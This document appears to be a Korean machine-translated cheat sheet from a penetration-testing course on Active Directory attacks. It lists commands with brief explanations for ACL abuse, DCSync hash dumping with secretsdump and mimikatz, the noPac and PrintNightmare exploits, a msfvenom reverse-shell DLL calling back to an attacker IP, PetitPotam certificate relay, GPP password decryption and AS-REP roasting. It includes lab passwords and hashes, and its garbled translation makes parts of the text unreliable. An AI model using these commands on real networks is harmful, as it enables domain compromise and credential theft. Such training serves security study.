Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}

-ResolveGUIDsWindows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ GUID( )λ₯Ό 기반으둜 검색을 μˆ˜ν–‰ν•˜μ—¬ 도메인 개체의 ACL을 κ²€μƒ‰ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .

Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt

λŒ€μƒ Windows λ„λ©”μΈμ—μ„œ μ‚¬μš©μž 계정 그룹을 κ²€μƒ‰ν•˜κ³  ad_users.txtWindows 기반 호슀트의 ν…μŠ€νŠΈ 파일( )에 좜λ ₯을 μΆ”κ°€ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€.

foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop\ad_users.txt")) {get-acl "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}

foreach loopν…μŠ€νŠΈ 파일( ad_users.txt) 의 각 λͺ©λ‘μ„ Get-ADUsercmdlet에 μž…λ ₯ν•˜μ—¬ λŒ€μƒ Windows λ„λ©”μΈμ˜ 각 도메인 μ‚¬μš©μžμ— λŒ€ν•œ ACL 정보λ₯Ό κ²€μƒ‰ν•œ λ‹€μŒ ν•΄λ‹Ή μ‚¬μš©μžμ˜ μ•‘μ„ΈμŠ€ κΆŒν•œμ„ μ—΄κ±°ν•˜λŠ” 데 μ‚¬μš© λ©λ‹ˆλ‹€ . Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

$SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)

PSCredential ObjectWindows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λ₯Ό μƒμ„±ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .

$damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force

SecureString ObjectWindows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λ₯Ό μƒμ„±ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .

Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose

damundsenWindows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λŒ€μƒ Windows λ„λ©”μΈμ˜ νŠΉμ • μ‚¬μš©μž( )의 λΉ„λ°€λ²ˆν˜Έλ₯Ό λ³€κ²½ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView λ„κ΅¬μž…λ‹ˆλ‹€ .

Get-ADGroup -Identity "Help Desk Level 1" -Properties * | Select -ExpandProperty Members

Help Desk Level 1Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λŒ€μƒ λ³΄μ•ˆ κ·Έλ£Ή( )의 ꡬ성원을 λ³΄λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView λ„κ΅¬μž…λ‹ˆλ‹€ .

Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λŒ€μƒ Windows λ„λ©”μΈμ˜ damundsenνŠΉμ • λ³΄μ•ˆ κ·Έλ£Ή( )에 νŠΉμ • μ‚¬μš©μž( )λ₯Ό μΆ”κ°€ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView λ„κ΅¬μž…λ‹ˆλ‹€ .Help Desk Level 1

Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName

νŠΉμ • λ³΄μ•ˆ κ·Έλ£Ή( )의 ꡬ성원을 보고 Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ 그룹의 Help Desk Level 1각 ꡬ성원( )의 μ‚¬μš©μž μ΄λ¦„λ§Œ 좜λ ₯ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView λ„κ΅¬μž…λ‹ˆλ‹€.Select MemberName

Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose

PowerView λ„κ΅¬λŠ” Windows 기반 호슀트의 Service Principal Namesepecift μ‚¬μš©μž( )에 λŒ€ν•΄ κ°€μ§œλ₯Ό μƒμ„±ν•˜λŠ” 데 μ‚¬μš©λ˜μ—ˆμŠ΅λ‹ˆλ‹€ .adunn

Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose

Service Principal NameWindows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ 곡격 쀑에 μƒμ„±λœ κ°€μ§œλ₯Ό μ œκ±°ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView λ„κ΅¬μž…λ‹ˆλ‹€ .

Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose

Windows 기반 호슀트의 damundsentνŠΉμ • λ³΄μ•ˆ κ·Έλ£Ή( )μ—μ„œ νŠΉμ • μ‚¬μš©μž( )λ₯Ό μ œκ±°ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView λ„κ΅¬μž…λ‹ˆλ‹€ .Help Desk Level 1

ConvertFrom-SddlString

SDDL string읽을 수 μžˆλŠ” ν˜•μ‹μœΌλ‘œ λ³€ν™˜ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerShell cmd-letμž…λ‹ˆλ‹€ . Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

DCSync

λͺ…λ Ή

μ„€λͺ…

Get-DomainUser -Identity adunn | select samaccountname,objectsid,memberof,useraccountcontrol |fl

adunnλŒ€μƒ Windows λ„λ©”μΈμ—μ„œ νŠΉμ • μ‚¬μš©μž( )의 κ·Έλ£Ή 멀버십을 λ³΄λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView λ„κ΅¬μž…λ‹ˆλ‹€ . Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

$sid= "S-1-5-21-3842939050-3880317879-2865463114-1164" Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} | select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl

μ‚¬μš©μž κ³„μ •μ˜ SID와 λ™μΌν•˜κ²Œ μ„€μ •λ˜λŠ” SIDλΌλŠ” λ³€μˆ˜λ₯Ό λ§Œλ“œλŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€. 그런 λ‹€μŒ PowerView 도ꡬλ₯Ό μ‚¬μš©ν•˜μ—¬ Get-ObjectAclνŠΉμ • μ‚¬μš©μžμ˜ 볡제 κΆŒν•œμ„ ν™•μΈν•©λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5 -use-vss

λŒ€μƒ 도메인 μ»¨νŠΈλ‘€λŸ¬μ— ν˜ΈμŠ€νŒ…λœ NTDS.dit νŒŒμΌμ—μ„œ NTLM ν•΄μ‹œλ₯Ό μΆ”μΆœν•˜κ³ ( 172.16.5.5) μΆ”μΆœλœ ν•΄μ‹œλ₯Ό 파일( inlanefreight_hashes)에 μ €μž₯ν•˜λŠ” Impacket 도ꡬ sedμž…λ‹ˆλ‹€. Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ 곡격을 Mimikatzμˆ˜ν–‰ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .dcsync

특ꢌ μ•‘μ„ΈμŠ€

λͺ…λ Ή

μ„€λͺ…

Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Desktop Users"

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ Remote Desktop UsersWindows λŒ€μƒ( )의 그룹을 μ—΄κ±°ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView 기반 λ„κ΅¬μž…λ‹ˆλ‹€ .-ComputerName ACADEMY-EA-MS01

Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Management Users"

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ Remote Management UsersWindows λŒ€μƒ( )의 그룹을 μ—΄κ±°ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView 기반 λ„κ΅¬μž…λ‹ˆλ‹€ .-ComputerName ACADEMY-EA-MS01

$password = ConvertTo-SecureString "Klmcargo2" -AsPlainText -Force

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μ‚¬μš©μžμ˜ $passwordλΉ„λ°€λ²ˆν˜Έ( )와 λ™μΌν•˜κ²Œ μ„€μ •λœ λ³€μˆ˜( )λ₯Ό μƒμ„±ν•©λ‹ˆλ‹€ .Klmcargo2

$cred = new-object System.Management.Automation.PSCredential ("INLANEFREIGHT\forend", $password)

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λŒ€μƒ 도메인 κ³„μ •μ˜ $credμ‚¬μš©μž 이름( forend) 및 λΉ„λ°€λ²ˆν˜Έ( )와 λ™μΌν•˜κ²Œ μ„€μ •λœ λ³€μˆ˜( )λ₯Ό μƒμ„±ν•©λ‹ˆλ‹€ .$password

Enter-PSSession -ComputerName ACADEMY-EA-DB01 -Credential $cred

PowerShell cmd-let을 μ‚¬μš©ν•˜μ—¬ Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ Enter-PSSessionλ„€νŠΈμ›Œν¬( )λ₯Ό 톡해 λŒ€μƒκ³Ό PowerShell μ„Έμ…˜μ„ μ„€μ •ν•©λ‹ˆλ‹€ . -ComputerName ACADEMY-EA-DB01이전에 ν‘œμ‹œλœ 2개의 λͺ…λ Ή( $cred& $password)으둜 λ§Œλ“  자격 증λͺ…을 μ‚¬μš©ν•˜μ—¬ μΈμ¦ν•©λ‹ˆλ‹€.

evil-winrm -i 10.129.201.234 -u forend

.NET을 μ‚¬μš©ν•˜μ—¬ Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ Windows λŒ€μƒκ³Ό PowerShell μ„Έμ…˜μ„ μ„€μ •ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ WinRM.

Import-Module .\PowerUpSQL.ps1

도ꡬ λ₯Ό κ°€μ Έμ˜€λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ PowerUpSQL.

Get-SQLInstanceDomain

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ SQL μ„œλ²„ μΈμŠ€ν„΄μŠ€λ₯Ό μ—΄κ±°ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerUpSQL λ„κ΅¬μž…λ‹ˆλ‹€.

Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query 'Select @@version'

SQL μ„œλ²„μ— μ—°κ²°ν•˜κ³  -query 'Select @@version'Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ 버전( )을 μΏΌλ¦¬ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerUpSQL λ„κ΅¬μž…λ‹ˆλ‹€.

mssqlclient.py

mssqlclient.pyLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μ œκ³΅λ˜λŠ” κΈ°λŠ₯κ³Ό μ˜΅μ…˜μ„ ν‘œμ‹œν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” Impacket λ„κ΅¬μž…λ‹ˆλ‹€ .

mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth

Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ MSSQL μ„œλ²„μ— μ—°κ²°ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” Impacket λ„κ΅¬μž…λ‹ˆλ‹€.

SQL> help

MSSQL μ„œλ²„μ— μ—°κ²°λ˜λ©΄ mssqlclient.py μ˜΅μ…˜μ„ ν‘œμ‹œν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€.

SQL> enable_xp_cmdshell

xp_cmdshell stored procedureLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λ°μ΄ν„°λ² μ΄μŠ€λ₯Ό 톡해 OS λͺ…령을 μ‹€ν–‰ν•  수 μžˆλ„λ‘ ν™œμ„±ν™”ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .

xp_cmdshell whoami /priv

λ₯Ό μ‚¬μš©ν•˜μ—¬ μ‹œμŠ€ν…œμ— λŒ€ν•œ κΆŒν•œμ„ μ—΄κ±°ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ xp_cmdshell.

λ…ΈνŒ

λͺ…λ Ή

μ„€λͺ…

sudo git clone https://github.com/Ridter/noPac.git

git을 μ‚¬μš©ν•˜μ—¬ μ΅μŠ€ν”Œλ‘œμž‡μ„ λ³΅μ œν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ noPac. Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap

λŒ€μƒ μ‹œμŠ€ν…œμ΄ Linux 기반 ν˜ΈμŠ€νŠΈμ— μ·¨μ•½ν•œ scanner.pyμ§€ ν™•μΈν•˜κΈ° μœ„ν•΄ μ‹€ν–‰λ©λ‹ˆλ‹€ .noPacSam_The_Admin

sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap

noPac/ 취약점을 μ•…μš© Sam_The_Adminν•˜κ³  SYSTEM μ‰˜( -shell)을 μ–»λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€. Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator

noPac/ Sam_The_Admin취약점을 μ•…μš© ν•˜κ³  DCSyncLinux 기반 호슀트의 도메인 μ»¨νŠΈλ‘€λŸ¬μ— λ‚΄μž₯된 κ΄€λ¦¬μž 계정에 λŒ€ν•œ 곡격을 μˆ˜ν–‰ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€.

인쇄악λͺ½

λͺ…λ Ή

μ„€λͺ…

git clone https://github.com/cube0x0/CVE-2021-1675.git

Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ git을 μ‚¬μš©ν•˜μ—¬ PrintNightmare μ΅μŠ€ν”Œλ‘œμž‡μ„ λ³΅μ œν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€.

pip3 uninstall impacket git clone https://github.com/cube0x0/impacket cd impacket python3 ./setup.py install

μ΅μŠ€ν”Œλ‘œμž‡ μž‘μ„±μžμ˜ ( cube0x0) λ²„μ „μ˜ Impacket이 μ„€μΉ˜λ˜μ–΄ μžˆλŠ”μ§€ ν™•μΈν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€. 그러면 Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ 이전 Impacket 버전도 μ œκ±°λ©λ‹ˆλ‹€.

rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'

Windows λŒ€μƒμ΄ Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λ…ΈμΆœ MS-PARλ˜μ—ˆλŠ”μ§€ ν™•μΈν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€.MSRPRN

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.129.202.111 LPORT=8080 -f dll > backupscript.dll

μ…Έ μ„Έμ…˜μ„ μ–»κΈ° μœ„ν•΄ μ΅μŠ€ν”Œλ‘œμž‡μ—μ„œ μ‚¬μš©ν•  DLL νŽ˜μ΄λ‘œλ“œλ₯Ό μƒμ„±ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

sudo smbserver.py -smb2support CompData /path/to/backupscript.dll

CompDataSMB μ„œλ²„λ₯Ό μƒμ„±ν•˜κ³  둜컬 Linux 호슀트의 μ§€μ •λœ μœ„μΉ˜μ— 곡유 폴더( )λ₯Ό ν˜ΈμŠ€νŒ…ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ . μ΄λŠ” μ΅μŠ€ν”Œλ‘œμž‡μ΄ ν˜ΈμŠ€νŠΈμ— λ‹€μš΄λ‘œλ“œλ₯Ό μ‹œλ„ν•˜λŠ” DLL νŽ˜μ΄λ‘œλ“œλ₯Ό ν˜ΈμŠ€νŒ…ν•˜λŠ” 데 μ‚¬μš©λ  수 μžˆμŠ΅λ‹ˆλ‹€. Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

sudo python3 CVE-2021-1675.py inlanefreight.local/<username>:<password>@172.16.5.5 '\\10.129.202.111\CompData\backupscript.dll'

μ΅μŠ€ν”Œλ‘œμž‡μ„ μ‹€ν–‰ν•˜κ³  DLL νŽ˜μ΄λ‘œλ“œμ˜ μœ„μΉ˜λ₯Ό β€‹β€‹μ§€μ •ν•©λ‹ˆλ‹€. Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

μ˜λ ν¬νƒ

λͺ…λ Ή

μ„€λͺ…

sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController

NTLM relay호슀트 에 λŒ€ν•œ μ›Ή 등둝 URL을 μ§€μ •ν•˜μ—¬ μƒμ„±ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” Impacket λ„κ΅¬μž…λ‹ˆλ‹€ Certificate Authority. Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

git clone https://github.com/topotam/PetitPotam.git

git을 μ‚¬μš©ν•˜μ—¬ μ΅μŠ€ν”Œλ‘œμž‡μ„ λ³΅μ œν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ PetitPotam. Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

python3 PetitPotam.py 172.16.5.225 172.16.5.5

곡격 호슀트( 172.16.5.255)와 λŒ€μƒ 도메인 컨트둀러( 172.16.5.5)의 IP μ£Όμ†Œλ₯Ό μ§€μ •ν•˜μ—¬ PetitPotam μ΅μŠ€ν”Œλ‘œμž‡μ„ μ‹€ν–‰ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€. Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

python3 /opt/PKINITtools/gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 <base64 certificate> = dc01.ccache

.pyλ₯Ό μ‚¬μš©ν•˜μ—¬ Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ gettgtpkinit도메인 컨트둀러( )에 λŒ€ν•œ TGT 티켓을 μš”μ²­ν•©λ‹ˆλ‹€ .dc01.ccache

secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL

NTLM password hashesDCSync 곡격을 μˆ˜ν–‰ν•˜κ³  λŒ€μƒ Windows λ„λ©”μΈμ—μ„œ ν•˜λ‚˜ λ˜λŠ” 전체λ₯Ό κ²€μƒ‰ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” Impacket λ„κ΅¬μž…λ‹ˆλ‹€ . Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

klist

krb5-user파일 의 λ‚΄μš©μ„ λ³΄λŠ” 데 μ‚¬μš©λ˜λŠ” λͺ…λ Ήμž…λ‹ˆλ‹€ ccache. Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

python /opt/PKINITtools/getnthash.py -key 70f805f9c91ca91836b670447facb099b4b2b7cd5b762386b3369aa16d912275 INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01$

getnthash.pyLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ TGS μš”μ²­μ„ μ œμΆœν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .

secretsdump.py -just-dc-user INLANEFREIGHT/administrator "ACADEMY-EA-DC01$"@172.16.5.5 -hashes aad3c435b514a4eeaad3b935b51304fe:313b6f423cd1ee07e91315b4919fb4ba

및 캑처된 ν•΄μ‹œ( )λ₯Ό NTDS.ditμ‚¬μš©ν•˜μ—¬ ν•΄μ‹œλ₯Ό μΆ”μΆœν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” Impacket λ„κ΅¬μž…λ‹ˆλ‹€ . Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.DCSync attack-hashes

.\Rubeus.exe asktgt /user:ACADEMY-EA-DC01$ /<base64 certificate>=/ptt

Rubeusλ₯Ό μ‚¬μš©ν•˜μ—¬ TGTλ₯Ό μš”μ²­ν•˜κ³  Windows λŒ€μƒμ˜ pass-the-ticket attackλ¨Έμ‹  계정( )을 μ‚¬μš©ν•˜μ—¬ μˆ˜ν–‰ν•©λ‹ˆλ‹€. /user:ACADEMY-EA-DC01$Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

mimikatz # lsadump::dcsync /user:inlanefreight\krbtgt

λ₯Ό μ‚¬μš©ν•˜μ—¬ DCSync 곡격을 μˆ˜ν–‰ν•©λ‹ˆλ‹€ Mimikatz. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

기타 잘λͺ»λœ ꡬ성

λͺ…λ Ή

μ„€λͺ…

Import-Module .\SecurityAssessment.ps1

λͺ¨λ“ˆμ„ κ°€μ Έμ˜€λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ Security Assessment.ps1. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-SpoolStatus -ComputerName ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL

SecurityAssessment.ps1에 λŒ€ν•œ Windows λŒ€μƒμ„ μ—΄κ±°ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” 기반 λ„κ΅¬μž…λ‹ˆλ‹€ MS-PRN Printer bug. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

adidnsdump -u inlanefreight\\forend ldap://172.16.5.5

LDAPLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ DNS μ˜μ—­μ˜ λͺ¨λ“  λ ˆμ½”λ“œλ₯Ό ν™•μΈν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .

adidnsdump -u inlanefreight\\forend ldap://172.16.5.5 -r

Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ A query( ) λ₯Ό μˆ˜ν–‰ν•˜μ—¬ DNS μ˜μ—­μ—μ„œ μ•Œ 수 μ—†λŠ” λ ˆμ½”λ“œλ₯Ό ν™•μΈν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .-r

Get-DomainUser * | Select-Object samaccountname,description

Select-ObjectWindows 기반 호슀트의 λŒ€μƒ Windows λ„λ©”μΈμ—μ„œ μ„ νƒν•œ 개체( )의 μ„€λͺ… ν•„λ“œλ₯Ό ν‘œμ‹œν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView λ„κ΅¬μž…λ‹ˆλ‹€ .

Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λŒ€μƒ Windows λ„λ©”μΈμ˜ PASSWD_NOTREQD선택 개체( ) 섀정을 ν™•μΈν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView λ„κ΅¬μž…λ‹ˆλ‹€ .Select-Object

ls \\academy-ea-dc01\SYSVOL\INLANEFREIGHT.LOCAL\scripts

ν˜„μž¬ λ‘œκ·Έμ˜¨ν•œ μ‚¬μš©μžμ˜ μ»¨ν…μŠ€νŠΈμ—μ„œ Windows λŒ€μƒμ— ν˜ΈμŠ€νŒ…λœ 곡유 λ‚΄μš©μ„ λ‚˜μ—΄ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

κ·Έλ£Ή μ •μ±… μ—΄κ±° 및 곡격

λͺ…λ Ή

μ„€λͺ…

gpp-decrypt VPe/o9YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVqxaE

group policy preference passwordLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ 캑처된 λ‚΄μš©μ„ ν•΄λ…ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” λ„κ΅¬μž…λ‹ˆλ‹€ .

crackmapexec smb -L | grep gpp

group policy preference passwordusing 을 μ°Ύμ•„ κ²€μƒ‰ν•˜κ³  CrackMapExec, λ₯Ό μ‚¬μš©ν•˜μ—¬ 좜λ ₯을 ν•„ν„°λ§ν•©λ‹ˆλ‹€ grep. Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin

Linux 기반 호슀트λ₯Ό SYSVOLμ‚¬μš©ν•˜μ—¬ Windows λŒ€μƒμ˜ 곡유 에 μ €μž₯된 λͺ¨λ“  자격 증λͺ…을 μ°Ύκ³  κ²€μƒ‰ν•©λ‹ˆλ‹€ .CrackMapExec

Get-DomainGPO | select displayname

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λŒ€μƒ Windows λ„λ©”μΈμ˜ GPO 이름을 μ—΄κ±°ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView λ„κ΅¬μž…λ‹ˆλ‹€.

Get-GPO -All | Select DisplayName

GPO 이름을 μ—΄κ±°ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerShell cmd-letμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

$sid=Convert-NameToSid "Domain Users"

$sid도ꡬ 와 λ™μΌν•˜κ²Œ μ„€μ •λ˜κ³  Convert-NameToSidκ·Έλ£Ή 계정을 μ§€μ •ν•˜λŠ” λ³€μˆ˜λ₯Ό μƒμ„±ν•©λ‹ˆλ‹€ Domain Users. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid

Domain Users( eq $sid) 그룹이 ν•˜λ‚˜ μ΄μƒμ˜ GPO에 λŒ€ν•œ κΆŒν•œμ„ κ°€μ§€κ³  μžˆλŠ”μ§€ ν™•μΈν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView λ„κ΅¬μž…λ‹ˆλ‹€ . Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-GPO -Guid 7CA9C789-14CE-46E3-A722-83F4097AF532

μ£Όμ–΄μ§„ GPO의 이름을 ν‘œμ‹œν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerShell cmd-letμž…λ‹ˆλ‹€ GUID. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

ASREλ‘œμŠ€νŒ…

λͺ…λ Ή

μ„€λͺ…

Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl

DONT_REQ_PREAUTHλŒ€μƒ Windows λ„λ©”μΈμ˜ μ‚¬μš©μž κ³„μ •μ—μ„œ 값을 κ²€μƒ‰ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView 기반 λ„κ΅¬μž…λ‹ˆλ‹€ . Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

